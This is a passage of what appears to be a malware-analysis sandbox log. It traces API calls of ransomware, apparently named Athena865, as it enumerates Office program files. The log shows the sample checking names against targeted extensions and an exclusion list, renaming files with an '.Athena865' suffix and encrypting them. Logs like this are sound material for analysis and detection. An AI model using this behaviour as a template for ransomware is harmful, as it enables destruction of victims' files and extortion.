returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0079.603] lstrlenW (lpString="maq") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0079.603] lstrlenW (lpString="mar") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0079.604] lstrlenW (lpString="marshal") returned 7 [0079.604] lstrcmpiW (lpString1="THZ.DLL", lpString2="marshal") returned 1 [0079.604] lstrlenW (lpString="mas") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0079.604] lstrlenW (lpString="mav") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0079.604] lstrlenW (lpString="maw") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0079.604] lstrlenW (lpString="mdbhtml") returned 7 [0079.604] lstrcmpiW (lpString1="THZ.DLL", lpString2="mdbhtml") returned 1 [0079.604] lstrlenW (lpString="mdn") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0079.604] lstrlenW (lpString="mdt") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0079.604] lstrlenW (lpString="mfd") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0079.604] lstrlenW (lpString="mpd") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0079.604] lstrlenW (lpString="mrg") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0079.604] lstrlenW (lpString="mud") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0079.604] lstrlenW (lpString="mwb") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0079.604] lstrlenW (lpString="myd") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0079.604] lstrlenW (lpString="ndf") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0079.604] lstrlenW (lpString="nnt") returned 3 [0079.604] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0079.604] lstrlenW (lpString="nrmlib") returned 6 [0079.604] lstrcmpiW (lpString1="HZ.DLL", lpString2="nrmlib") returned -1 [0079.605] lstrlenW (lpString="ns2") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0079.605] lstrlenW (lpString="ns3") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0079.605] lstrlenW (lpString="ns4") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0079.605] lstrlenW (lpString="nsf") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0079.605] lstrlenW (lpString="nv") returned 2 [0079.605] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0079.605] lstrlenW (lpString="nv2") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0079.605] lstrlenW (lpString="nwdb") returned 4 [0079.605] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0079.605] lstrlenW (lpString="nyf") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0079.605] lstrlenW (lpString="odb") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0079.605] lstrlenW (lpString="odb") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0079.605] lstrlenW (lpString="oqy") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0079.605] lstrlenW (lpString="ora") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0079.605] lstrlenW (lpString="orx") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0079.605] lstrlenW (lpString="owc") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0079.605] lstrlenW (lpString="p96") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0079.605] lstrlenW (lpString="p97") returned 3 [0079.605] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0079.606] lstrlenW (lpString="pan") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0079.606] lstrlenW (lpString="pdb") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0079.606] lstrlenW (lpString="pdm") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0079.606] lstrlenW (lpString="pnz") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0079.606] lstrlenW (lpString="qry") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0079.606] lstrlenW (lpString="qvd") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0079.606] lstrlenW (lpString="rbf") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0079.606] lstrlenW (lpString="rctd") returned 4 [0079.606] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0079.606] lstrlenW (lpString="rod") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0079.606] lstrlenW (lpString="rodx") returned 4 [0079.606] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0079.606] lstrlenW (lpString="rpd") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0079.606] lstrlenW (lpString="rsd") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0079.606] lstrlenW (lpString="sas7bdat") returned 8 [0079.606] lstrcmpiW (lpString1="UTHZ.DLL", lpString2="sas7bdat") returned 1 [0079.606] lstrlenW (lpString="sbf") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0079.606] lstrlenW (lpString="scx") returned 3 [0079.606] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0079.606] lstrlenW (lpString="sdb") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0079.607] lstrlenW (lpString="sdc") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0079.607] lstrlenW (lpString="sdf") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0079.607] lstrlenW (lpString="sis") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0079.607] lstrlenW (lpString="spq") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0079.607] lstrlenW (lpString="te") returned 2 [0079.607] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0079.607] lstrlenW (lpString="teacher") returned 7 [0079.607] lstrcmpiW (lpString1="THZ.DLL", lpString2="teacher") returned 1 [0079.607] lstrlenW (lpString="tmd") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0079.607] lstrlenW (lpString="tps") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0079.607] lstrlenW (lpString="trc") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0079.607] lstrlenW (lpString="trc") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0079.607] lstrlenW (lpString="trm") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0079.607] lstrlenW (lpString="udb") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0079.607] lstrlenW (lpString="udl") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0079.607] lstrlenW (lpString="usr") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0079.607] lstrlenW (lpString="v12") returned 3 [0079.607] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0079.607] lstrlenW (lpString="vis") returned 3 [0079.608] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0079.608] lstrlenW (lpString="vpd") returned 3 [0079.608] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0079.608] lstrlenW (lpString="vvv") returned 3 [0079.608] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0079.608] lstrlenW (lpString="wdb") returned 3 [0079.608] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0079.608] lstrlenW (lpString="wmdb") returned 4 [0079.608] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0079.608] lstrlenW (lpString="wrk") returned 3 [0079.608] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0079.608] lstrlenW (lpString="xdb") returned 3 [0079.608] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0079.608] lstrlenW (lpString="xld") returned 3 [0079.608] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0079.608] lstrlenW (lpString="xmlff") returned 5 [0079.608] lstrcmpiW (lpString1="Z.DLL", lpString2="xmlff") returned 1 [0079.608] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NPAUTHZ.DLL.Athena865") returned 64 [0079.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NPAUTHZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\npauthz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NPAUTHZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\npauthz.dll.athena865"), dwFlags=0x1) returned 1 [0079.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NPAUTHZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\npauthz.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0079.614] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18336) returned 1 [0079.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0079.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0079.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0079.614] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0079.615] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0079.615] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.615] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4aa0, lpName=0x0) returned 0x17c [0079.617] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4aa0) returned 0x100000 [0079.618] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0079.619] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0079.619] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0079.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0079.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0079.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0079.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0079.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0079.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0079.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0079.620] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0079.620] CloseHandle (hObject=0x17c) returned 1 [0079.620] CloseHandle (hObject=0x154) returned 1 [0079.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0079.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0079.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0079.621] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc1b000, ftCreationTime.dwHighDateTime=0x1cbe56f, ftLastAccessTime.dwLowDateTime=0xe07baf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bc1b000, ftLastWriteTime.dwHighDateTime=0x1cbe56f, nFileSizeHigh=0x0, nFileSizeLow=0x1ceb168, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OART.DLL", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2=".") returned 1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="..") returned 1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="windows") returned -1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="bootmgr") returned 1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="temp") returned -1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="pagefile.sys") returned -1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="boot") returned 1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="ids.txt") returned 1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="ntuser.dat") returned 1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="perflogs") returned -1 [0079.621] lstrcmpiW (lpString1="OART.DLL", lpString2="MSBuild") returned 1 [0079.621] lstrlenW (lpString="OART.DLL") returned 8 [0079.622] lstrcpyW (in: lpString1=0x241e89e, lpString2="OART.DLL" | out: lpString1="OART.DLL") returned="OART.DLL" [0079.622] lstrlenW (lpString="OART.DLL") returned 8 [0079.622] lstrlenW (lpString="Athena865") returned 9 [0079.622] lstrlenW (lpString=".dll") returned 4 [0079.622] lstrcmpiW (lpString1="OART.DLL", lpString2=".dll") returned 1 [0079.622] lstrlenW (lpString=".lnk") returned 4 [0079.622] lstrcmpiW (lpString1="OART.DLL", lpString2=".lnk") returned 1 [0079.622] lstrlenW (lpString=".ini") returned 4 [0079.622] lstrcmpiW (lpString1="OART.DLL", lpString2=".ini") returned 1 [0079.622] lstrlenW (lpString=".sys") returned 4 [0079.622] lstrcmpiW (lpString1="OART.DLL", lpString2=".sys") returned 1 [0079.622] lstrlenW (lpString="OART.DLL") returned 8 [0079.622] lstrlenW (lpString="bak") returned 3 [0079.622] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0079.622] lstrlenW (lpString="ba_") returned 3 [0079.622] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0079.622] lstrlenW (lpString="dbb") returned 3 [0079.622] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0079.622] lstrlenW (lpString="vmdk") returned 4 [0079.622] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0079.622] lstrlenW (lpString="rar") returned 3 [0079.622] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0079.622] lstrlenW (lpString="zip") returned 3 [0079.622] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0079.622] lstrlenW (lpString="tgz") returned 3 [0079.622] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0079.622] lstrlenW (lpString="vbox") returned 4 [0079.622] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0079.622] lstrlenW (lpString="vdi") returned 3 [0079.623] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0079.623] lstrlenW (lpString="vhd") returned 3 [0079.623] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0079.623] lstrlenW (lpString="vhdx") returned 4 [0079.623] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0079.623] lstrlenW (lpString="avhd") returned 4 [0079.623] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0079.623] lstrlenW (lpString="db") returned 2 [0079.623] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0079.623] lstrlenW (lpString="db2") returned 3 [0079.623] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0079.623] lstrlenW (lpString="db3") returned 3 [0079.623] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0079.623] lstrlenW (lpString="dbf") returned 3 [0079.623] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0079.623] lstrlenW (lpString="mdf") returned 3 [0079.623] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0079.623] lstrlenW (lpString="mdb") returned 3 [0079.623] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0079.623] lstrlenW (lpString="sql") returned 3 [0079.623] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0079.623] lstrlenW (lpString="sqlite") returned 6 [0079.623] lstrcmpiW (lpString1="RT.DLL", lpString2="sqlite") returned -1 [0079.623] lstrlenW (lpString="sqlite3") returned 7 [0079.623] lstrcmpiW (lpString1="ART.DLL", lpString2="sqlite3") returned -1 [0079.624] lstrlenW (lpString="sqlitedb") returned 8 [0079.624] lstrlenW (lpString="xml") returned 3 [0079.624] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0079.624] lstrlenW (lpString="$er") returned 3 [0079.624] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0079.624] lstrlenW (lpString="4dd") returned 3 [0079.624] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0079.624] lstrlenW (lpString="4dl") returned 3 [0079.624] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0079.624] lstrlenW (lpString="^^^") returned 3 [0079.624] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0079.624] lstrlenW (lpString="abs") returned 3 [0079.624] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0079.624] lstrlenW (lpString="abx") returned 3 [0079.624] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0079.624] lstrlenW (lpString="accdb") returned 5 [0079.624] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0079.624] lstrlenW (lpString="accdc") returned 5 [0079.624] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0079.624] lstrlenW (lpString="accde") returned 5 [0079.624] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0079.624] lstrlenW (lpString="accdr") returned 5 [0079.624] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0079.624] lstrlenW (lpString="accdt") returned 5 [0079.624] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0079.625] lstrlenW (lpString="accdw") returned 5 [0079.625] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0079.625] lstrlenW (lpString="accft") returned 5 [0079.625] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0079.625] lstrlenW (lpString="adb") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0079.625] lstrlenW (lpString="adb") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0079.625] lstrlenW (lpString="ade") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0079.625] lstrlenW (lpString="adf") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0079.625] lstrlenW (lpString="adn") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0079.625] lstrlenW (lpString="adp") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0079.625] lstrlenW (lpString="alf") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0079.625] lstrlenW (lpString="ask") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0079.625] lstrlenW (lpString="btr") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0079.625] lstrlenW (lpString="cat") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0079.625] lstrlenW (lpString="cdb") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0079.625] lstrlenW (lpString="ckp") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0079.625] lstrlenW (lpString="cma") returned 3 [0079.625] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0079.626] lstrlenW (lpString="cpd") returned 3 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0079.626] lstrlenW (lpString="dacpac") returned 6 [0079.626] lstrcmpiW (lpString1="RT.DLL", lpString2="dacpac") returned 1 [0079.626] lstrlenW (lpString="dad") returned 3 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0079.626] lstrlenW (lpString="dadiagrams") returned 10 [0079.626] lstrlenW (lpString="daschema") returned 8 [0079.626] lstrlenW (lpString="db-journal") returned 10 [0079.626] lstrlenW (lpString="db-shm") returned 6 [0079.626] lstrcmpiW (lpString1="RT.DLL", lpString2="db-shm") returned 1 [0079.626] lstrlenW (lpString="db-wal") returned 6 [0079.626] lstrcmpiW (lpString1="RT.DLL", lpString2="db-wal") returned 1 [0079.626] lstrlenW (lpString="dbc") returned 3 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0079.626] lstrlenW (lpString="dbs") returned 3 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0079.626] lstrlenW (lpString="dbt") returned 3 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0079.626] lstrlenW (lpString="dbv") returned 3 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0079.626] lstrlenW (lpString="dbx") returned 3 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0079.626] lstrlenW (lpString="dcb") returned 3 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0079.626] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0079.626] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0079.627] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0079.627] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL.Athena865") returned 61 [0079.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll.athena865"), dwFlags=0x1) returned 1 [0079.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0079.628] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30323048) returned 1 [0079.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0079.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0079.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0079.629] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0079.630] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0079.630] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.630] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ceb470, lpName=0x0) returned 0x17c [0079.631] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1c00000, dwNumberOfBytesToMap=0xeb470) returned 0x2d50000 [0079.763] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0079.764] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0079.764] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0079.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0079.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0079.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0079.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0079.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0079.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0079.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0079.764] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0079.773] CloseHandle (hObject=0x17c) returned 1 [0079.773] CloseHandle (hObject=0x154) returned 1 [0079.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0079.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0079.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0079.782] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7fea00, ftCreationTime.dwHighDateTime=0x1cac1ed, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fea00, ftLastWriteTime.dwHighDateTime=0x1cac1ed, nFileSizeHigh=0x0, nFileSizeLow=0x124e978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OARTCONV.DLL", cAlternateFileName="")) returned 1 [0079.782] lstrcmpiW (lpString1="OARTCONV.DLL", lpString2="HOW TO BACK YOUR 